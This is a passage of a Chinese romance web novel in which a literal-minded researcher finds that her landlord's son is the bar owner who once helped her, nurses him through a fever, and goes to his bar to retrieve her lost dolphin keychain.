没记错这应该是他家,钥匙都能把门开了,不可能走错,但他家什么时候住进来个姑娘,还像是跟他认识。 他记忆里可没有这号人。 丛宜很困惑,为什么他的记性这么差,是有面孔记忆障碍,还是说单纯是他社交关注度低,初遇的那个晚上其实并没有认真地看自己。 如果是后者,丛宜会觉得有一点点难过,因为她记得他,很清晰地记着的善意。 见他还是没反应,丛宜决定提醒他。 “几天前的晚上,我们见过,我在雪地里摔倒了,你帮了我。” 伴随着徐徐的话语声,段竞洲透过现下这双隐隐带着希冀的眼睛,大脑中片段逐渐汇拢串联出那晚的场景。 灵动的浅褐瞳色与眼前人不谋而合,他眉头轻动,想起来了。 “下雪让你一败涂地?” 丛宜重重地点了点头,“嗯嗯是我,不过这几天我并没有摔倒。” 段竞洲又读不出来她的意思了。 这是在求表扬? 话语在舌尖来回辗转了几番,也愣是没说出口。 段竞洲扯远话题,伸手虚挡了下脸示意,“你那天戴着口罩。” 似是在解释他为什么没有立刻认出来。 丛宜顿了几秒,心尖上的一丝丝不舒服烟消云散,眉梢染上显而易见的笑意, “也就是说你本来就记得我。” 她说话一直都这么一鸣惊人么,他记不记得很重要吗…… 段竞洲嗓子发痒地干咳了一声,“我还没到痴呆的地步。” 对于丛宜而言,她记得别人向她施加的一切善意,并因此感到温暖。 同样,她不希望那个人会忘记这份善意,因为单向记忆的温情并不牢固,就像是铺满彩色颜料的画纸随着时间也会逐渐褪色泛白。 不过,如果段竞洲真的忘了,她也不会有丝毫埋怨的心理,只是会有落差罢了。 两人互认完,终于有人意识到现在的这个情况很明显是一出不知由头的闹剧。 丛宜先问出了口:“你怎么会在这里?” 段竞洲也好奇,晃了晃手里的钥匙:“这是我家。” “诶?可是,这也是我家。” 丛宜担心他不信,继续补充:“我已经在这里住了一个多月了,我还有符合正规程序的租房合同,你要看看吗?” 租房? 段竞洲脑子里捕捉到这个关键词,有什么答案呼之欲出。 “你是说你一个多月前租的这个房子,能问问谁租给你的吗?” “一位高高的,戴着没有边框的眼镜,看起来很和善的阿姨。” 她记得租给她房子的房东阿姨人很好,给价很便宜,并不像是会做出一房两租这么荒唐不道德的事情,更何况这一个多月,并没有其他人出现在她家。 听个大概描述,段竞洲差不多已经猜到了,不出意外那房东是他亲妈,为确认猜测他又印证地问,“房东是姓褚?” 丛宜仔细地回想了下合同上的签名,眼睛微微瞪圆,才恍然过来,“原来那是褚字啊,那个阿姨的字迹太潦草了。” 她当时看了很久也没看出来是什么字,但听眼前人这么一说她突然就明了了。 段竞洲听完只有一个想法,没跑了,那就是他妈,他妈是医院的外科主任,当了大半辈子医生,那一手字亲儿子认都认不出来。 想不通,褚女士什么时候这么缺钱了,还把这套十多年前买的房给租出去了,也没提前知会他一声…… “你怎么会知道这个?”丛宜觉得费解。 “租你房子的阿姨是我妈。” 段竞洲简洁明晰地解释完这场乌龙,他出现在这里疑惑才算彻底解开。 这套房子虽说地理位置上离他酒吧会稍微近点,但是因为小区建得早,老旧小区改造工程也没开始,各种设施老化更不算完备。 段竞洲基本上也不怎么在这边住,一年住上几次都算多的,平时都是住在另一套他自己的房子。 但巧就巧在,因为这周连着几天店里有主题派对,客满为患,很早之前还有店长,但办事不牢靠被段竞洲辞了。 后来他这个老板基本亲力亲为,这几天完全是连轴转,白天盘点、二次核账,晚上控场,时不时还需要顶一下出状况的驻唱的活。 今晚到底扛不住了,整个人昏沉得不行,店里休息室又太吵闹,懒得折腾就想着来这住处对付几个小时再赶回店里,没成想能是这回事,让人头疼。 丛宜听他说完,那张素净的脸蛋上染上比先前更加激动的神情,非常迫不及待地要跟眼前人分享: “你知道吗,按照数学模型里先验概率论来计算,陌生人之间擦肩而过的事件天天发生,但是在特定事件下相遇一次的概率大约是百万分之一,而意外再次相遇一次的概率,在随机情况下是万亿分之一,也可以称之为奇迹。” 数字,概率…… 段竞洲一来本就学习成绩差,二来此时身体不大舒服,思维稀里糊涂,凑合能听懂她的意思,接话: “按照你的意思是,我就这么创造了‘奇迹’?” “可以这么说。” 毕竟他是当事人之一,但这个答案并不算细致谨严。 丛宜又在继续完善:“考虑到我们其实处在同一个城市,回到现实生活里来讲,这种‘奇迹’其实是‘缘分’。” “所以,我们很有缘分。” 那双浅色眸子此刻又亮晶晶的了,看人时总是满怀赤诚。 段竞洲眼尾不自觉地压出细微的扇形褶皱,反问她:“那你知道跟一个异性说很有缘分,是很容易被误会的。” 这触及到丛宜的知识盲区,她不懂。 “被误会什么?概率是被证明过的科学的论证,我说的也是正确的事实。” 主观和客观因素都是非常合理的。 丛宜为自己辩解后,又很认真地问他:“你误会了吗?” 智商较高,至于其他的么…… 情商不详,心地善良。 不带任何偏见地说,这是段竞洲两次接触后对丛宜最真实的认知,在这个世道人情练达的社会,圆滑是常态,她和很多人都不一样。 段竞洲盯着她看了几秒后才语调淡淡地回答:“没有。” “那就好。” 丛宜点了点头,明确并不存在误会。 头顶的灯光把两人的眼神和神色照得一览无余,丛宜注意到段竞洲的脸色,突然来了句: “你的脸很红。” 一瞬间,段竞洲竟被这句话点得浑身别扭。 他手被碰了碰自己的脸,是有点热,归结于,“室内温度高,穿太厚了。” 东北的供暖时间长达半年之久,冬天室内的暖气很足,与室外形成巨大温差,怕热的人在室内穿背心短袖,稍微冷点就穿薄绒睡衣。 “是这个原因吗?” 丛宜不太相信这个说辞。 段竞洲被她直勾勾的眼神观察得直发毛,一副要看穿的架势。 平时在酒吧顶班驻唱,在台上被多双眼睛看着也完全不怯场的人,眼下被一双清透丝毫没有任何别的含义的眼睛望着,居然被盯出来紧张感。 眼前人的性格似乎让她就是总有这种魔力,说话和行事总有种不顾人死活的直接和纯粹。 无声的注视过后,丛宜终于得出了自认为对的结论,“你应该是发烧了。” 在她看来,段竞洲的脸颊上呈现出的是高烧发烫阶段时才会有的病态潮红,晕开了一层薄绯,瞳色也比第一次见他黯淡无神。 丛宜印 象里小时候因为深夜高烧妈妈抱着她在医院的长椅上挂吊水,词汇的匮乏让她表达不出来具体的难受感觉,眼神涣散迷离间见到心急未换下执勤警服值完班匆匆赶来的爸爸。 而后她就被另一双更有力的臂膀抱到了温暖的怀里,上方是一句又一句温和的低哄:“我们乖乖脸上出现云朵了呢,还是被夕阳晕烧成的粉色。” 她想段竞洲目前的这种状态就是“薄云”的样子。 丛宜脚步匆匆进了卧室,很快便手里拿了个耳温枪出来,见段竞洲还站着,指了指沙发示意:“你可以坐下来的。” “不用,站着就行。” 一个大男人,本来不打招呼出现在这里就不规矩,真当还是自己家呢。 丛宜也不强求,拿着耳温枪问:“你需要我帮你吗?” “给我吧。”段竞洲伸手接了过来。 耳温枪对着耳朵‘叮’得一声,显示出来准确的温度。 丛宜踮脚去看,“38.8,正常情况下耳温比腋温高0.5,应该是38.3,你的体温这么高你怎么会不知道?” 明明身体总是会比意识先作出反应。 段竞洲目光瞥了眼耳温枪,还真是发烧了,“最近忙,没太在意。” “高烧不治会伤脑神经的。”丛宜这句话表达有些严重,似是对这种对身体满不在乎的态度表示不满意。 翻出客厅的医疗箱,找出来退烧贴和退烧药,丛宜又接了杯温水递给段竞洲,“我建议你把这个药吃了之后要去医院。” 段竞洲盯着面前的药恍惚,他怎么样想不到,大晚上的他居然在人一个小姑娘家里,被严肃地‘教训’了。 药片被抠出来,塑料薄膜的声音窸窸窣窣,温水透着杯壁与掌心的温度融合。 段竞洲还没填嘴里,丛宜冷不丁地又提了一句:“这个药是有毒的。” ?? 段竞洲眼尾抬起,看向丛宜的眼神都变了,错愕,离谱,怔忡。 “什么意思?” 他捻着药片丢也不是,吃也不能,再觉得生活没意思也不能以这个明知的方式了结吧,这他妈不就等同于自杀。 再说,自杀的人可上不了天堂…… 丛宜见他误会了,平缓地分说:“是药三分毒,这句是医生叮嘱的,不过你现在吃是没有问题的。” 段竞洲懂了,这是免责声明,差点忘了眼前这姑娘可是异常严谨且有着自己固定的节奏。 “不用担心,真吃出事我爬也爬出这扇门。” 丛宜看着他摇了摇头, “我检查过这个药还在保质期内,你不会出任何事的。如果一定要假设这种出事的不可能情况,我会很快地拨打‘120’,因此我完全可以保证你的安全。” 段竞洲对上她坚毅又认真的眼神,被这种一本正经逗得莫名想笑。 “行,谢谢。” 道谢的话从嘴里滑出,仰头药片顺水从喉咙滑入胃里。 丛宜看着他咽下去才回答:“不客气。” 吃完药,段竞洲坐不住了,在一个独居女性家里待这么久不合适,起身要走。 丛宜见状跟在他后面,礼貌使然一直送他到门口,离开时不放心地问他:“你现在会去医院吧?” 段竞洲知道按照丛宜的逻辑,他一定要说“会”才可以。 所以,这人薄唇微张,不负期待地肯定:“会去。” “好的。”丛宜没有别的顾虑了,“希望你早日好起来。” 这是听起来很诚恳很美好的祝愿。 段竞洲点了点头,走了。 防盗门闷声哐当地关上,丛宜正面对着门板眨了眨眼,总觉得她隐约忘记了什么,大脑在持续地节能偷懒。 一分钟后,检索系统发挥作用,她终于想起来了。 门再次被打开,丛宜趿拉着家居鞋往楼道走,环境由亮变暗,她顿住脚打开了手机手电筒,才敢往下走。 刚下一层,就在楼梯拐角口看到了段竞洲,丛宜对着那个黑色的背影出声,语气发急: “你先停一下,我有事情需要问你。” 5.语出惊人05 楼道硬墙体和空旷封闭的特点让丛宜这句话产生了绵长的回音。 段竞洲听到了,停下脚步后转身,就看见刚跟他说完再见的人正溜着墙边步履匆忙地朝自己跑过来。 楼上的声控灯坏了,好在这一层还亮着,但也是老旧昏暗,隐隐的光亮。 丛宜下楼的时候只能一边看脚下,一边又抬头看向段竞洲,生怕人走了似的。 “还好你没走远。”身前人站定微微喘息,调整着乱拍的呼吸。 段竞洲问她:“想问什么?” 他一时间想不到,自己还有什么事情是她这么迫切想知道的。 “海豚!” 丛宜脱口而出:“那天晚上你有见到一个蓝色小海豚的挂件吗?我的挂件丢了,我第二天去找没有找到,我等了你很多天,可是你都没有再路过。不过你现在还是出现了,我想问你有捡到它吗?” 如果要用一个词来形容丛宜现在的状态,那就是热切。 她的视线好像黏在了段竞洲身上,足以见得这个挂件对她而言的重要性。 段竞洲自然也听出来了所有希望寄托在他身上的意思,难得他心下居然生出了些庆幸,至少他没真的顺手丢垃圾桶里。 “嗯。”目光同样注视着那张脸,他肯定地回答:“捡到了一个。” 话音落下,丛宜脸上呈现雀跃和激动,比此前段竞洲见她的任何时候都要生动热烈。 “像大海一样蓝色的背鳍,反荫蔽白色保护色的腹部,还有绵软白絮的毛茸手感,你捡到的是这样的,对吗?” 口头上描述出了海豚的大致样貌。 不知道是不是被丛宜喜悦的语气感染,段竞洲那双冷锐的眉眼在某个瞬间似乎柔和了些,语气轻淡: “以及往上卷翘四十五度的尾鳍?” 因为这句话,一切的试探询问有了答案,“哐嘡”一声,丛宜似乎听到了自己心底发出的声音,失而复得,鼻腔也酸酸的。 “是我的,那个就是我的。” 丛宜往前走了一步,因为过于迫切,忘了初次见面两人保持的适当距离,仰着脑袋诚恳地发出请求:“你可以把它还给我吗?” 丛宜的性格一直都很稳定,很少有大的情绪波动,但因为一个不起眼的挂件却频繁出现情绪起伏。 段竞洲恍然回想起来,为什么今晚在他进门听见她那句“是你”中首先入耳的是惊喜的情绪,原来是她在等他,更确切来说,在等一个他捡到挂件的可能性。 假如他没捡到呢,在今晚他出现后没能带来她想要的答案呢? 段竞洲蹙眉,对自己反常反应不习惯,即便真是如此,也与他无关,无外乎是他不想当一个手起刀落的‘刽子手’。 “可以。”段竞洲低眉,“挂件现在不在我身上。” 丛宜眼睛睁得很圆,下意识地说:“我可以跟你一起去拿。” 话刚说出去,就察觉到不对,又推翻自己:“不行,你还是要先去医院。” 她还惦记着段竞洲还在生病的这个事实。 “这个点太晚,你的挂件在我那儿不会丢,我明天会很忙,你不介意我找个同城快递明天就给你送。” 段竞洲提了个办法,但丛宜看上去很纠结,“等你有空好吗,我想自己取。” 他明白了,这是不想假借他人的手。 “也行。” “好。”丛宜唇角弯了弯,想到什么,接着认真地问他:“那你要我的微信吗?” “你说什么?” 段竞洲皱眉,恍惚以为自己体温又上升了,烧得话都听不清楚了。 当事人丛宜很从容,眼睫扑闪,耐心地又复述了一遍。 段竞洲这下彻底听清了,修长的手指指了指自己,“我要你微信?” “是啊。”丛宜不理解他在质疑什么,继续道:“或者我要你的微信也是一样的。” 仗着一张冲击力的帅脸,和平时不怎么爱搭理人的那股要死的酷劲儿,段竞洲在酒吧没少被各色美女以花样方式要过微信,但这么丝滑还理所应当的他头一次碰到。 话语间,丛宜已经解锁了自己的手机,滑到了微信的个人二维码页面,不忘抬着眸子好心地提醒段竞洲:“手机要打开。” 成,加呗,还能咋地。 最后还是段竞洲加的,丛宜盯着那句“我通过了你的朋友验证请求,现在我们可以开始聊天了”才心满意足。 按照自己的固定程序想要给她的新好友添加备注,点开输入键盘才后知后觉还不知道他的名字。 “你叫什么?” “段竞洲。” “好。”丛宜知道姓的具体字,但却不知道后两个字,于是,输完“段”字就从微光的屏幕上抬头求助地看向段竞洲。 不用开口,脸上的表情就已经说明了一切。 段竞洲一字一句格外仔细地口头帮着她打全了自己的名字。 丛宜这才收了手机,礼尚往来地自报家门:“丛宜,我的名字,丛林的丛,宜人的宜。” “嗯。”段竞洲示意知道但没有立刻改。 丛宜也不强求,毕竟每个人的习惯不一样,说:“这样等你明天有空就可以直接把时间和地点发给我。” 貌似打从一开始就是丛宜求段竞洲办事,只是轮换间主动权反而在丛宜的手里了。 好在段竞洲这人心胸还算“宽阔”,不计较,除了经常被她的言语意外倒也没什么。 事情解决,两人这才算彻底说了再见。 退烧药不是很起效果,段竞洲头疼得厉害,约摸今天不舒坦就是拖久了,索性叫了辆车折去医院,闭闷的车空间里,连带着嗓子发干有想干呕的迹象。 到医院后,医生看完说是休息不到位免疫力崩盘,再加上这几天气温低,受凉等多种因素引起的发热。 护士给他挂了两瓶水,晚上九点多守在输液大厅输液,几年都没这一糟了。 这个点想着他妈还没休息,段竞洲打了个电话。 一接通,那头带着怨气的声音冲过来:“我当是谁呢,这不是我家硬气的大儿嘛,舍得给我打电话了?” 段竞洲听这一出只觉得头更疼了,上次因为他工作的问题一家人又闹得不欢而散,借着租房这个由头缓和关系,但褚女士这嘴比他还硬。 “您说什么呢,您是我妈,我总不能跟您置气。” “少跟我扯犊子,你不跟我置气,你都快把你爹给气死了。” 段竞洲沉默几秒,接话:“您让他多注意身体。” 褚女士不给面子,“你自己跟他说。” 她可不想夹着在父子俩中间,当什么和事佬,最后闹得两头不是人。 段竞洲揉了揉额头,不想继续这个话题,“妈,您把杏云那套房子租出去了?” “是啊。”褚女士理所当然:“那套房子打从你高中之后就不怎么住了,空着也是空着我就给租出去了。” “谁告诉您我不住了。” 褚女士一听糊涂了:“怎么着,你还住啊。” 说完反应过来,音量猛地提高:“不对劲儿,你怎么知道我租出去了?你可别是又去那小区了,那儿现在有个小姑娘住着呢!” “您说晚了。” 去都去过了,还见上面唠了一顿。 “你进家里了?”那头的褚女士语气试探地问。 “嗯。” “你这死孩子!” 褚女士一下子就慌了:“你大晚上就这么进独居小姑娘家里,人一个上海来的孤零零的得多害怕啊,你这可属于是私闯民宅违法的行为,人家没把你当臭流氓报警拘你啊。” “您就这么盼着 您儿子进去呗。”段竞洲后背往后靠了靠,凳子太硬又窄,坐得憋屈。 褚女士教训他:“你给我省省啊,真进去了还得想招儿去捞你,丢人。” “放心吧,不让您捞。” 褚女士清楚自家儿子脾性,这副调性八成就是没事,也不跟着操心了。 听筒那头跟往常吵翻天的音乐声不一样,没什么大动静,褚女士还觉得疑惑,问他:“你今天没搁你那店里守着你那摊事业。” 段竞洲习惯她妈对他开酒吧的态度,只当没听出来嫌弃的语气,仰头看了眼还有大半瓶的吊水,“今天休息。” “还知道休息,就你那整宿整宿熬,身体真出问题神仙来了都救不了你。” “神仙不救我,您救我就成。您可是天天被病人夸仁心仁术。”段竞洲骨子里捧哏基因,用自己亲妈身上也是信手拈来。 褚女士心里松快,嘴上不放软:“你就贫吧你,我可不管你。” 这通电话打了有七八分钟,本意是拉下脸跟他妈说两句好话,虽说氛围还算温和,段竞洲照旧觉得胸口发闷。 自从他开了这家酒吧,跟家里的关系大不如前,褚女士还能交流,他爸纯粹一点就着,脾气硬,父子俩水火不容,坐一张桌子上吃饭只要提到工作,就得吵起来,没有和解的余地。 段竞洲抬手往后拨了把根本不碍事的碎发,脑袋往后仰跟座椅完全悬空,眯着眼放空,浑身透着烦躁。 放在兜里的手机嗡嗡地接连震动,他没搭理。 五分钟后,再次震动,他这才慢腾地直起腰,面色不爽地把手机掏了出来。 微信消息提示来源的头像是个海豚,加好友的原始备注。 段竞洲眉心隆起,想起来这是丛宜。 没多久前才见过面她能给自己发什么?难不成还真监督他来医院没有。 抱着疑问段竞洲点进去两人的聊天页面,是转发的两条链接和跟着的一句【你在看吗?】 那两条链接,看起来是从外文学术索引库里找的,全文翻译成中文,期刊标题分别是《未治疗发热的系统性危害与机制进展》和《成人发热的合理管理与误区规避》。 文章一翻见不到底,他看了几行字就看不下去了,压根不进脑子,敲手机:【看了,字不少。】 丛宜:【核心期刊的内容都很丰富。】 段竞洲:【嗯。】 手机那头又补充:【你可以有空慢慢看,只是里面有很多的专业术语,如果你看不懂可以查一下,这不是你的问题。】 段竞洲指腹揉了把眼睑,心底发乐,她还安慰上了。 他当然知道不是自己的问题,跟天书一样的玩意儿他没接触过要是能看懂早跟他妈一样,穿上白大褂当医生去了。 【行。】 段竞洲回复完,那边没动静了。 过了一会儿,屏幕左上角显示“对方正在输入中”,丛宜发过来了句:【我该睡觉了。】 段竞洲来回看了两遍这句话,忽地有种错觉,自己被骚扰了。 他在这儿好好输着液,明明是她先挑开的话题发来微信,最后这个结束语整得好像是他打扰了似的。 深夜的医院格外安静,一声轻促的笑从喉间溢出,托丛宜的福,他正憋闷着情绪还能笑出来。 而此时另一边,说要睡觉的人其实并没有老老实实地去休息,而是打开了平板,追最新更新一集的某部动漫,这是丛宜为数不多的乐趣之一。 她没有要‘骚扰’段竞洲的意思,是认为他可能不太了解发烧的严重性,她在提醒他,毕竟他也有帮助她。 至于为什么要说“我要睡了”,丛宜是在网上学的,据说这是结束网络聊天最体面且委婉的方式。 她也觉得很好用,因为无论是谁,她说了这句之后对方就真的不再回复她了。 6.驻唱帅哥06 确定挂件还能回到自己手里,第二天上班,丛宜就表现出跟前几天不太一样的状态。 比如做完实验三三两两个同事在闲聊,丛宜惯来都是倾听的角色,就像是因为要融入正常的职场社交圈所以选择参与。 但今天不同,意外地还能听见她时不时地出个声,听她们聊到兴致处还把自己揣着的糖大方地分出来两颗。 放在旁人身上这就很正常,但对象是丛宜可就不一样了。 虽说是很细微不易被注意的行为,但宋知岚还是发现了。 她对丛宜很了然的印象之一就是习惯性揣着一款糖,然后聊天过程中,聊着聊着就不知道从哪儿掏出来一颗分给别人。 这是她释放开心的一个明显信号,同样也是表达善意的一种方式,因为早在丛宜刚来研究所那阵子,宋知岚就被给过。 很显然,丛宜今天的心情不错,上午工作一有得闲的时候,看手机的频率也反常得高。 到底是憋不出好奇心,中午两人在职工食堂吃饭,宋知岚问她:“人逢喜事精神爽啊,最近是不是有什么好事了?” 丛宜正吸着食堂给的饭后酸奶,闻声动作一停,眼睛微微瞪圆地看向她,“你怎么会知道?” “猜的。”宋知岚扫了下她那张惊呼的小脸,装神秘。 “岚姐,你好厉害。”丛宜发自肺腑地夸赞,她一向对具备超强敏锐力的人充满敬佩,比如卡二。 宋知岚唇角难压,略略地虚荣了一把,轻咳两声耳朵凑过去,“来,让我也听听什么事儿值得让你这么高兴。” 丛宜放下酸奶,眼底带笑地倾身也凑上前低声:“我找到我的挂件了!” “嚯,这么渺茫的机会都能找到,真是好事啊。”宋知岚感叹。 “嗯嗯。”丛宜认同地点了点头。 宋知岚问她怎么找到的,丛宜把大概的经过讲了一遍,太多的细节自然也就省略了。 听完后,一阵沉默在两人之间缓缓地流淌开。 “岚姐,你怎么不说话了?”丛宜不解地问。 宋知岚额头隆起两道纹,“我在思考。” 至于思考什么,那当然是该如何委婉不挫伤眼前姑娘的喜悦心理并且能给出非常恰当的提醒,从而让她产生一定的防备心。 谁听这个故事不觉得邪乎啊,说好听点那是缘分,想深一步,那也完全有可能是鬼故事啊,这也忒寸了。 “妹儿,你有没有觉得这个事呢,它太巧了?”宋知岚边观察眼前人的表情一边试探地问。 “是很巧。”丛宜转而继续道:“但的确是存在发生的概率。” 她已经计算过了。 “可它也有可能是制造的巧合,万一对方就是提前计划好的呢!”宋知岚脱口而出。 丛宜怔愣了下,“你的意思是他有可能是骗子?” 东北人说话到底是委婉不了一点,宋知岚索性明说了:“没准信儿,不过你说的这个他出现你家里是挺邪乎的,保持警惕总归是没错的。” 丛宜再次回忆了两次见面的全过程,得出结论:“我还是觉得他不像是坏人。” “就因为他帅?” “我跟你说啊,那有的骗子老能装了,一天天的净忽悠人,给人忽悠得五迷三道的。” 宋知岚听丛宜讲的时候说对方是男的,她不落俗套地问了句帅不,丛宜给出的评价是“应该是个符合大众审美基准的高颜值个体”。 懂了,这形容就是帅! 但骗子也有帅的,用脸骗人的还真不少。 虽说段竞洲帅是事实,丛宜欣赏帅哥但不以脸论事,“他能准确说出我丢的挂件的特征。” 宋知岚没在场也实在不好判断这件事,于是问她:“他给你发让你去取的地址了吗?” “还没有。”所以丛宜上午才会一直看手机。 “那等等,发了地址再说,下班我陪你去。”宋知岚热心道。 丛宜理解好意,眨了眨眼表情真挚:“谢谢你,岚姐。” 大概是下午将近六点,她收到了对方发来的位置地图,看上去是一个酒吧,名字叫“北沨”,后面缀了详细的路名。 宋知岚知道后,没忍住怀疑当场来了句:“这能是正经人吗,就取个东西约你去酒吧??” 丛宜也不清楚,但不至于以此定性,保险地重复问:【确定是这里吗?】 段竞洲没回复。 大概过了半小时才回过来。 【刚在工作没看到,你挂件我放店里了,地址是这个。】 联想到昨天他说今天会很忙,也就是说段竞洲是在酒吧上班。 丛宜没去过酒吧,不过也知道这是年轻人放松娱乐的场所,更何况今天是周五,他工作忙听起来也很合理,完全可以理解。 【好,我下班就过去。】 明天周末,不出意外,研究所又加班了,晚上八点半丛宜才脱下工服,换回自己的衣服。 宋知岚本来是要陪她去,但临时接了个家里的电话,说她那不服老的爸,非学人家年轻人玩溜冰,结果刚穿上冰刀鞋滑出去两步闪着老腰了,这给她气得,担心得骂骂咧咧地看病人去了。 走之前反复叮嘱丛宜保持联系,有情况赶紧给她打电话。 丛宜很听话地点头。 “北沨”跟她回家的路有一段是顺着的,不算远,到酒吧门口的时候差不多九点,正是夜生活丰富的时候。 丛宜望过去,这一条街霓虹闪烁,和她平时下班路上冷冷清清的状况完全不一样,很像是热闹的据点。 “北沨”的门面偏欧洲建筑风格,半拱形的结构,顶端是环形的电子灯多色循环切换,呈现出来动态的光效圈层,颇具设计感。 丛宜会画画,也自然地带一些设计的审美,没有很懂行,但这个设计她很喜欢。 一推开门进去,室内的暖意与低缓节奏感的音乐律动扑面而来,光线昏暗朦胧,小型舞池晃动的身影和卡座隐匿在暗光下,吧台的暖光相较而言算明亮。 丛宜粗略地扫了一圈,酒吧的空间大分区多,在她能触及的视野范围内,没能第一时间找到段竞洲。 从吧台端酒的美女服务员路过充当迎宾,微笑服务:“欢迎光临,一个人的话可以选择去我们的吧台点单哦。” “好的,谢谢。” 丛宜认真地回应完,挪着步子走到了吧台。 调酒师是位年轻男性,穿着系带款的黑色围裙,头发抓了个利落的造型,一眼看过去五官也不错。 此 时正往酒杯里点缀着薄荷叶,放正后一抬头就看见面前站了个背着规整双肩包,身穿低饱和淡蓝色羽绒服的顾客。 干他们服务这一行业,自然要主动揽客,他有眼色地招呼道:“前面有凳子,随意坐。” 丛宜顺势坐到了吧台高脚椅上,她第一次坐这种凳子,第一感觉是太高了,脚挨不到地面会产生悬空感。 调酒师把薄薄的一本酒单递给她,“这是我们的酒单,您看看需要点儿什么。” “我不点酒的。”丛宜没掀开,双手又把酒单推回去了些。 “除了酒,我们这儿还有各种饮料和小吃,种类很丰富,您也可以看看。”调酒师耐心地补充。 结果丛宜还是直来直去:“我什么都不需要。” 调酒师表情差点没绷住,立马切换戒备状态,严肃地观摩眼前这姑娘。 大概看了有半分钟,琢磨着这神情怎么也不像是来砸场子的,怎么说话这样什儿的呢。 全靠职业操守兜底,调酒师好脾气地笑着,“那您来是?” 丛宜这次回答得格外快,“我找人。” “您告诉我名字,我让服务员帮您一块儿找。” 调酒师的话刚说出口,丛宜正要回答,酒吧音乐切换,低沉熟悉的嗓音也随即逐渐弥散开来。 丛宜顺着声音来源去看,酒吧的小舞台处亮起了氛围光。 段竞洲今天穿了一身黑,黑色T恤搭配黑色长裤,坐在凳子上,左手拿着话筒,右手划着面前三角支架上的手机。 上方的灯光倾照下来,跟周遭昏暗的环境形成明显对比,衬得他的五官愈发突出和瞩目,丛宜再一次毫不费力地认出来了他。 段竞洲唱歌时的嗓音和平时说话听起来会有一些出入,唱歌时的调会更加慵懒和醇厚,尾调磁性。 如果要在拥有一张帅脸和热心肠的好标签中再贴一项,丛宜认为,唱歌好听可以被加入进去。 因为不仅她觉得好听,酒吧的顾客这会儿的目光也几近都聚焦在了段竞洲的身上,援引一句话“大众的眼睛是雪亮的”。 只是她听不太懂段竞洲唱的是什么,像是俄语,自带卷舌颤音和独特的舌根咬字。 丛宜现在知道了他口中工作忙的原因,原来是晚上要在酒吧当驻唱,难怪他会发烧,熬夜对身体的损耗本就很大。 后身的调酒师看着这位他起初误以为“来者不善”的顾客一直盯着自家老板,心底爽得直起飞。 瞧瞧吧,没人能拒绝他老板的魅力,要他说,他还苦心研究什么酒吧招牌,他老板简直就是他们“北沨”的鎏金招牌,闪闪发光那种。 老板的容貌,员工的荣耀。 一首歌唱完,台上的段竞洲切下一首歌。 调酒师脖颈比刚才更加挺直拉长,出声提醒丛宜:“您还找人吗?” “找的。”丛宜回答他:“不过我已经找到了。” “您说的是?” 丛宜唇角漾开浅淡的笑意,伸手不偏不倚地指了指台上的那位:“我找他。” 彼时,段竞洲正在等歌曲的前奏,目光清浅漫不经心地扫视着台下的一众人头,有动作感应似的,掠过吧台的瞬间,他一眼就捕捉到了那个直白大胆地指着他的小巧身影。 7.雨露均沾07 虽说酒吧是休闲娱乐场所,除了未满十八岁没有什么必要的准入门槛,但是大多数来这里的人们基本都会精心打扮一番,算是生活里的仪式感,也是换种身份逃避日常,更松弛自在地享受。 丛宜身上的羽绒服和双肩包还没来得及脱下,打眼看过去那张白皙的脸上没有明显的妆容,说白了跟这里格格不入。 这也是除了明显指着他外,段竞洲能迅速眼神锁定她的另一个原因。 丛宜察觉到了段竞洲在看向她的方向,两人之间存在距离,她分不清段竞洲的视线是不是准确地在她身上,毕竟吧台也不是只有她一个人。 于是,丛宜刻意将脸上的笑意绽放得更大了些,手掌外翻摊开与脑袋的高度齐平,试探性地左右来回晃荡了下,作出打招呼的姿势。 至于她提示完,段竞洲作何反应丛宜依旧看不清,倒是坐在小舞台前排的那帮客人,可是清楚地看到这位偶尔救场的驻唱兼老板虽面色一如既往平淡,唇角却若有若无地带上了浅弧。 段竞洲移开目光,抿了抿唇。 谁教她这么跟人打招呼的,手臂机械性地挥舞,还就一下…… 而一旁的调酒师在丛宜说出找的人是自家老板时,已经自顾自地脑补出追爱的大戏,有冯书艺这个轰轰烈烈的先例在,很容易让人这么联想。 酒吧门再次被打开,风风火火地进来一个人,熟门熟路地挤到吧台,一屁股坐到丛宜旁边的座位上。 “快,米兰,给我来杯大吉利,降降火。” 调酒师叫米兰,闻声手上开始行动,熟稔地搭话:“哟天哥,怎么了这是,上火成这样。” 高天一肚子火倾诉: “甭提了,路上开车开得好好的碰上个不要命的加塞,道儿滑得我这刹车再晚点我就亲他车屁股上去了,他爹的吃屎都得咬口冒尖儿的,瞅这家伙给他急得。” 他这一描述,画面感立马来了。 丛宜无意听别人的对话,但离太近这话还是听进了耳朵里,话太糙一开始没理解,反应过来之后,惊诧、佩服、兴趣、欣赏诸多情绪一股脑涌出来。 他在骂人吗?好别致的语言,想学。 这样她就可以等下次赵组长再次为难她时想出别的应对话术了。 酒还没调好,高天突然感觉自己右侧肌肉莫名发紧,一扭头发现身旁姑娘正直不楞登地盯着他呢。 “有、有事儿?”他磕绊地问。 丛宜没回答,米兰先出了声:“找洲哥的。” 一听跟自己没关系,高天身体就放松了,那眼神直直瞅着他还以为自己惹什么事儿了。 “那你等会儿的,他那边八成就快结束了。” “嗯。”丛宜应声。 高天扭过头,指尖频繁点着桌子,等着自己的酒。 诶诶诶,不对,嘿,越想越不对劲儿,段竞洲什么时候认识了个女孩,十年的哥们了,自家兄弟没有异性朋友圈这点他还是知道的,这女孩他瞅着眼生。 米兰把酒递给高天,他又让米兰给做了杯气泡果汁,示意给丛宜。 丛宜没打算点单,但既然已经做好了端到面前了,理智告诉她,如果自己说退了很大的可能会被赶出去,干脆就接了过来,“谢谢。” 高天按捺不住好奇,可又不擅长迂回,憋了半天,“妹儿,你找段竞洲有事啊?” 话说出去就想扇他张破嘴了,自己这就跟那脱裤子放屁有啥区别,找人肯定有事…… 丛宜倒是没表现出异样,问什么答什么,本就不是健谈的性格,自然也不多攀谈,“有的。” 见有指望,高天趁机问:“啥事儿啊。” 米兰同样对这个问题有兴致,两人心思都挂脸上了,就等丛宜的解答。 结果丛宜脸上浮现犹豫,顿了几秒后,语气温和带着些不解地反问:“我是应该要告诉你们的吗?” 高天常年健身身材健硕,腱子肉不少显着不好惹,他自认为摆出来的很善意友好的神情,一下子僵住了。 操,脚疼,没防备踢到带刺钉的钢板上去了。 他咽了口水堪堪收回视线,丛宜的目光还没收回,因为高天还没回答她。 眼前人的身份以及与段竞洲的关系她一概不知,告诉与否她的确不清楚。 “咳咳,不说也行,隐私嘛,理解理解。”高天讪讪地笑着,缓解尴尬若无其事地打哈哈,实则都有点儿快死了。 